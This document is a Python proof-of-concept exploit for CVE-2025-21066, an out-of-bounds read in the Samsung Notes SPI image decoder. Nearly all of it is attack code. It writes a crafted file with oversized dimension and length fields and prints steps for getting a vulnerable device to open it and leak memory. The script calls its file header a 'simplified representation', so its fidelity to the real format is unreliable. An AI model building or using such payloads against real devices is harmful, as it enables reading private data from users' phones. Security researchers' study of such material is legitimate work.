The following code is for security research and authorized testing only.
python
# CVE-2025-21066 - Samsung Notes SPI Decoder Out-of-Bounds Read PoC
# This PoC demonstrates the concept of triggering an OOB read in the SPI decoder
# Note: Actual exploitation requires local access to a vulnerable Samsung Notes installation
import struct
import os
def create_malicious_spi_payload():
"""
Create a crafted SPI-format payload that triggers out-of-bounds read
in Samsung Notes SPI decoder (versions < 4.4.30.63).
"""
# SPI header structure (simplified representation)
# Magic bytes to identify SPI format
magic = b'\x53\x50\x49\x00' # "SPI\x00"
# Version field
version = struct.pack('<H', 1)
# Crafted width/height values to cause buffer overflow
# Setting abnormally large dimensions triggers OOB read during decoding
width = struct.pack('<I', 0xFFFF) # Width = 65535
height = struct.pack('<I', 0xFFFF) # Height = 65535
# Data offset and length
data_offset = struct.pack('<I', 0x10)
data_length = struct.pack('<I', 0xFFFFFFFF) # Intentionally large length
# Malicious payload data - padding to trigger OOB access
malicious_data = b'\x41' * 256
# Construct the full payload
payload = magic + version + width + height + data_offset + data_length
payload += malicious_data
return payload
def save_as_note_attachment(payload, filename="malicious_note.spx"):
"""
Save the crafted payload as a Samsung Notes attachment.
In a real attack scenario, this would be embedded in a .sdocx or
similar Samsung Notes document format.
"""
with open(filename, 'wb') as f:
f.write(payload)
print(f"[+] Malicious SPI payload saved to {filename}")
print(f"[+] Payload size: {len(payload)} bytes")
print(f"[!] To exploit: Open this file with Samsung Notes < 4.4.30.63")
print(f"[!] The SPI decoder will attempt to read beyond buffer boundaries")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-21066 PoC - Samsung Notes SPI Decoder OOB Read")
print("Affected: Samsung Notes < 4.4.30.63")
print("=" * 60)
payload = create_malicious_spi_payload()
save_as_note_attachment(payload)
print("\n[*] Exploitation steps:")
print(" 1. Transfer the malicious file to a vulnerable Samsung device")
print(" 2. Open the file with Samsung Notes application")
print(" 3. The SPI decoder will trigger OOB read vulnerability")
print(" 4. Monitor memory access patterns to extract leaked data")